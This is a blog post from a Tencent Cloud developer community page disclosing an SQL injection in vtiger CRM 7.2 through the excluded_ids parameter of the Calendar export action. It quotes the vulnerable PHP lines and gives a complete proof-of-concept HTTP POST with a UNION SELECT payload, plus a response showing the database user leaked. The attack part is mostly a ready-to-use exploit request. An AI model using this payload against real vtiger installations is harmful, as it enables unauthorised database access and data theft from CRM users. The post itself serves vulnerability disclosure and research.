前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL Injection vulnerabilities in the latest vtiger crm (v7.2)

SQL Injection vulnerabilities in the latest vtiger crm (v7.2)

原创
作者头像
Deen_
修改2020-04-10 10:52:34
1.3K0
修改2020-04-10 10:52:34
举报

0x01 Get source code

We can get the source code from https://www.vtiger.com/open-source-crm/download-open-source/

0x02 Sqli vulnerabilities

modules/Vtiger/actions/ExportData.php , ExportData function , $db->pquery to execute the sql.

image.png
image.png
代码语言:txt
复制
        $query = $this->getExportQuery($request);
		$result = $db->pquery($query, array());

follow the getExportQuery function, line 200,

image.png
image.png
代码语言:txt
复制
$query .= ' AND '.$baseTable.'.'.$baseTableColumnId.' NOT IN ('.implode(',',$request->get('excluded_ids')).')';
						

we can control the $request->get('excluded_ids')) variable to sql injecttion.

0x03 Trigger vulnerabilities

modules/Calendar/actions/ExportData.php, the function ExportData.

代码语言:txt
复制
public function ExportData(Vtiger_Request $request) {
		$this->moduleCall = true;
		if ($request->get('type') == 'csv') {
			parent::ExportData($request);
			return;
		}

call the parent's function ExportData to trigger the sql injection.

poc:

image.png
image.png
代码语言:txt
复制
POST http://localhost/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 565
Referer: http://localhost/index.php?module=Calendar&view=List
Cookie: PHPSESSID=3us5esfl1trl1l2fvca8qr6nt0
Connection: close
Upgrade-Insecure-Requests: 1

__vtrftk=sid%3A4396fb92c83fa09039b33490416bd5d2f259ec33%2C1586430021&module=Calendar&source_module=Calendar&action=ExportData&viewname=11119&selected_ids=&excluded_ids=&page=1&search_key=&operator=&search_value=&search_params=%5B%5D&orderby=&sortorder=&tag_params=%5B%5D&type=csv&mode=ExportSelectedRecords&excluded_ids[0]=1) union select '123','1','2020-04-09','10:17:00','10:22:00',DATE('2020-04-09'),'2020-04-01','10:17:00','','Planned','Planned','Planned2','Planned','','0','2020-04-09 10:17:06','2020-04-09 10:17:06','Call','Public','','0','1',user(),'','2'%23

reponse

代码语言:txt
复制
"123","admin","04-09-2020 03:22:00","03:22:00","03:17:00","04-01-2020 03:17:00","","Planned","","0","04-09-2020 03:17:06","04-09-2020 03:17:06","Call","Public","","0","admin","root@10.16.100.69","",""

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 Get source code
  • 0x02 Sqli vulnerabilities
  • 0x03 Trigger vulnerabilities
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档